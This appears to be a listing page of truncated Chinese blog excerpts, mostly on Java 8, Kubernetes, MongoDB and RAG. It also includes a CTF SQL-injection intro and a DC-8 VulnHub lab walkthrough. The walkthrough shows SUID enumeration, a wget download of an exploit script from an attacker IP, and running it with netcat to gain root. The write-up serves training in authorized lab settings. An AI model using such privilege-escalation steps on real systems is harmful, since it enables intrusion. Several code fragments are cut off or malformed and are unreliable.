本书全面介绍了Java 8 这个里程碑版本的新特性,包括Lambdas、流和函数式编程。有了函数式的编程特性,可以让代码更简洁,同时也能自动化地利用多核硬件。 全书分四个部分:基础知识、函数式数据处理、高效Java 8 编程和超越Java 8,清晰明了地向读者展现了一幅Java 与时俱进的现代化画卷。
---- Pre Java 8 - Stream流骚操作解读 Java 8 - Stream流骚操作解读2_归约操作 都学了这俩,是不是该出来练一练了? ? ---- (8) 找到交易额最小的交易 Optional<Integer> minValue = transactions.stream().map(Transaction::getValue () .min(comparing(Transaction::getValue)); ---- 附 Trader & Transaction package com.artisan.java8. toString(){ return "Trader:"+this.name + " in " + this.city; } } package com.artisan.java8.
---- Pre Java 8 - Optional全解相信你已经了解,有效地使用 Optional 类意味着你需要对如何处理存在缺失值进行全面的反思。
本系列教程目录: MongoDB入门实战教程(1) MongoDB入门实战教程(2) MongoDB入门实战教程(3) MongoDB入门实战教程(4) MongoDB入门实战教程(5) MongoDB 入门实战教程(6) MongoDB入门实战教程(7) 参考资料 唐建法,《MongoDB高手课》(极客时间) 郭远威,《MongoDB实战指南》(图书) 作者:周旭龙 出处:https://edisonchou.cnblogs.com
xml version="1.0" encoding="UTF-8"? xml version="1.0" encoding="UTF-8"?
是我们的第二个实战课程 我们还是那句话先 重要声明 该培训中提及的技术只适用于合法CTF比赛和有合法授权的渗透测试,请勿用于其他非法用途,如用作其他非法用途与本文作者无关 SQL注入漏洞产生的原因 SQL
一、微服务架构部署的方案 部署项 说明 备注 代码仓库 gogs 镜像仓库 harbor 容器方案 k8s/docker 网关 kong 业务服务 GO service 日志 ELK filebeat 监控 Prometheus grafana 二、微服务架构部署的实施 2.1 k8s 2.1.1 服务器准备 采用vm ware虚拟机,导入两个centos 7.4系统(2 core 2G) vmware node1节点:hostnamectl --static set-hostname k8s-node1 node2节点:hostnamectl --static set-hostname k8s-node2 kubeadm.yaml.yaml advertiseAddress 本机地址,例如 192.168.1.179 (虚拟机master节点) kubernetesVersion: v1.15.0 // k8s /k8s/iris-template/ingress.yaml 其中 deployment,如果镜像是本地的,可以修改参数 imagePullPolicy: IfNotPresent 或 Never
以下为第一章《为什么你应该关注Java 8》的阅读笔记 1.1 为啥Java语言在演进 使用Java 8 可以写出更加简洁的代码; 多核CPU的普及,需要Java 8更好得支持并行编程;为了说明上述两点 编程语言的生态系统以及气候的改变 本书总结出推动Java 8支持并行编程和书写更简洁的代码的三大概念:Stream处理、行为参数化、并行特性以及不共享可变数据。 Java 8的函数式编程,要求开发者编写没有副作用(即无状态)的函数。 只有开发者都用,这些新特性才会有意义,因此尽可能得使用Java 8的新特性也是保护你作为Java开发者的工作。 for-each循环,程序员需要自己控制集合的迭代,这称之为外部迭代;Java 8提供的Stream API看起来跟之前的集合操作完全不同,程序员不需要控制集合的操作,只需要考虑对每个元素要做什么操作、 ---- 本章作为全书的第一章,重点介绍了Java作为一门语言长盛不衰的时代、技术背景和内在的原因(Java自身一直在进化,跟上甚至引领技术的变革);本章也简单介绍了Java 8 中比较重要的知识点,例如
什么是流? 流是Java API的新成员,它允许你以声明性方式处理数据集合(通过查询语句来表达,而不 是临时编写一个实现)。就现在来说,你可以把它们看成遍历数据集的高级迭代器。此外,流还可以透明地并行处理,你无需写任何多线程代码。 啥话少说直接上代码: //创建一个list类 里面包含一个对象Dish且创建Dish List<Dish> menu = Arrays.asList( new Dish("pork", false, 800, Dish.Type.MEAT), 3 new Dish("b
靶机介绍 这次的靶机渗透实战是一个找寻靶机中的flag的过程,并以获得最终的flag为目标。 渗透实战 ? ? 再来看看下面: Home: ?nid=1 传参了 而刚才上面的没有任何参数 ? ? ? 参考资料 [1] 下载地址: http://www.five86.com/dc-8.html [2] 参考文章1: https://blog.csdn.net/weixin_43762939/article
最近抽空看了《Java8实战这本书》,收获很多,这本书着重介绍了Java8的两个新特性:Lambda表达式和stream()的使用,简化了我们的开发。下面是我在读这本书所做的笔记,也是我的一些收获。 第一段代码 对苹果按重量排序 //Java8之前 Collections.sort(inventory, new Comparator<Apple>() { public int compare(Apple s.isEmpty()); Java8中forEach方法的使用 假如有一个list集合,循环获取里面的值,Java8之前是这样做的。 java8的打印方式如下。 参考 《Java8实战 》作者: 厄马(Raoul-Gabriel Urma) / 弗斯科(Mario Fusco) / 米克罗夫特(Alan Mycroft)
本次实战使用的靶机是:DC-8 系统:Debian 下载链接:https://download.vulnhub.com/dc/DC-8.zip 二、靶机启动 下载完成后,打开VMware软件,通过左上角文件打开 命令执行 find / -perm -4000 -type f 2>/dev/null # 结果: www-data@dc-8:/etc$ find / -perm -4000 -type f 2>/ sh systemctl start apache2.service chmochmod 777 /var/www/html/dc8.sh 靶机下载dc8.sh文件 #注意:靶机下载文件需要切换到tmp 目录下 cd /tmp wget 192.168.198.129/dc8.sh # 修改权限为777 chmod 777 dc8.sh 尝试提权 # 使用提示: # 命令: . /dc8.sh -m netcat 查询 id /root ls 查看flag.txt
JAVA8实战 - 日期API 前言 这一节我们来讲讲JAVA8的日期类,源代码的作者其实就是Joda-Time,所以可以看到很多代码的API和Joda类比较像。 日期类一直是一个比较难用的东西,但是JAVA8给日期类提供了一套新的API让日期类更加好用。 本文代码较多,建议亲自运行代码理解。 JDK8日期类关于时区的强相关类(注意是JDK8才出现的类,不要误认为是对之前类的兼容),在之前的单元测试其实已经用到了相关时区的方法,在JDK8中使用了 ZoneId这个类来表示,但是我们有时候不知道怎么获取地区 java.time.format.ZoneName.zidMap 从这个map里面进行获取 LocalTime japan = LocalTime.now(Clock.system(ZoneId.of("Japan"))); 实战 当然JDK8对于国内使用不是十分友好,这也没有办法毕竟是老外的东西,不过解决办法也有不少,习惯了将解决套路之后也可以接受。
K8S实战入门 Namespace 概述 应用示例 Pod 概述 语法及应用示例 语法:创建并运行Pod 语法: 查询所有Pod的基本信息 语法:查看Pod的详细信息 语法:Pod的访问 语法:删除指定的 kubernetes在集群启动之后,集群中的各个组件也是以Pod方式运行的,可以通过下面的命令查看: #查看kube-system命名空间下的pods,该命名空间下运行的都是k8s集群内部的各个组件 kubectl get pods -n kube-system ---- 语法及应用示例 ---- 语法:创建并运行Pod k8s没有提供单独运行Pod的命令,都是通过Pod控制器来实现的: kubectl run
加了影片搜索的功能之后,就存在没有搜到任何影片的情况。现在的网页上,如果没有搜到,就是没有显示结果。这个不是很直观,最好能有个提示,说没有搜到任何影片。 要实现这个功能,就得知道每次搜索出来的影片信息共有多少条。web.py 对于数据库的功能并没有做很多封装,并不能很方便地通过我们取出的影片数据得到数量。因此,需要再增加一次数据库查询,得到影片的数量。 获取数量的 SQL 语句是: SELECT COUNT(*) FROM 数据库 WHERE 查询条件; web.py 提供了接口: db.query('S
而java8刚好提供了这样的功能,对集合数据的并发执行parallel,所以有了以下测试 为加快统计速度尝试 原代码用时 2018-10-15 15:03:22.863 |-INFO [SimpleAsyncTaskExecutor java8 代码用时 2018-10-15 14:54:17.487 |-INFO [SimpleAsyncTaskExecutor-1] com.beikbank.settlement.api.jobs.TaskJob //io数据库操作 } 使用java8 流并行代码 allUserList.stream().parallel().forEach(allUser -> { String userIdkey = //io数据库操作 }); 总结 数据统计存在数据库操作的,使用java8的parallel可以加快统计速度,从上面图片的对比可以看出,使用parallel后jdbc连接会存在多个并行执行,执行效率和机器配置内存等相关
最近想复习一下k8s的知识,并将之前没做的授权给弄一下。。一切问题就要从这里开始了。 另外本文没不怎么涉及RBAC的理论知识,需要自行学习。 一、开启RBAC k8s的组件kube-apiserver是k8s的网关,一切请求都从这里进去。所以我们开启RBAC只需要在该组件配置启动参数。 这次是直接使用之前部署的k8s集群,当初是这样想的kube-controller-manager、kube-scheduler是master的组件一般和kube-apiserver组件在统一机器,所以是 CN={{inventory_hostname}}" -out client.csr 这里我们注意到/CN={{inventory_hostname}} 这个是ansible变量意思是本机ip k8s 解决问题 1.给用户192.168.144.128授权 2.重新生成证书,/CN设置有权限的用户 k8s有内置了一些clusterrole方便我们使用 如下图 system:kube-scheduler
一、k8s的优点k8s是一个开源的容器集群管理系统,可以实现容器集群的自动化部署、自动扩缩容、维护等功能。 ③:Submission runner 提交 app 到 k8s 集群,并创建 driver pod。 ④:mutating adminission webhook创建svc,可以查看spark web ui三、Spark on K8s 的优势优势1:它的部署环境非常简单,我们现在使用的是云上托管的 K8s 无论我们使用涉及开源的 K8s 的 cluster-auto scaler 插件,还是某些云商自己实现的基于 K8s 的更高效的扩缩容机制,都可以保证集群能够极快地自动扩缩容。 六、Spark on k8s的挑战挑战1:我个人认为最重要的,就是Shuffle的流程,按照目前的Shuffle方式,我们是没办法打开动态资源特性的。
JAVA8实战 - Optional工具类 前言 没错,这又是一个新的专栏,JAVA8可以说是JAVA划时代的一个版本,几乎是让JAVA焕发了第三春(第二春在JDK5),当然里面的新特性也是十分重要的 ,虽然Java现在都已经到了10几的版本,但是国内多数使用的版本还是JAVA8,所以这个系列将会围绕Java8的新特性和相关工具做一些总结。 简单介绍 Java8之后新增的一个工具类,在包java.util.Optional<T>,他的作用类似于一个包装器,负责把我们需要操作的对象包装到一个黑盒中,我们可以通过黑盒安全的操作对象的内容。 实战:读取Properties值 这里直接把书里的案例拿来用了,这个方法主要作用是读取一个配置文件的int值,当读取不到内容的时候,自动给默认值0。 后面主要提到的是一些Java9的操作,由于本文只涉及Java8的版本,所以更高版本的内容可以从《Effective Java》这本书里面看到。
因为项目的需要,之前研究了一段时间的RAG,于是本文总结 8 种 RAG 架构,对每种架构进行简要介绍,并用 langchain 实现其参考代码。 1. ", "行业趋势..."]) answer = arag.query("分析公司未来的发展前景") # 会被识别为OPEN_ENDED print(answer) 8.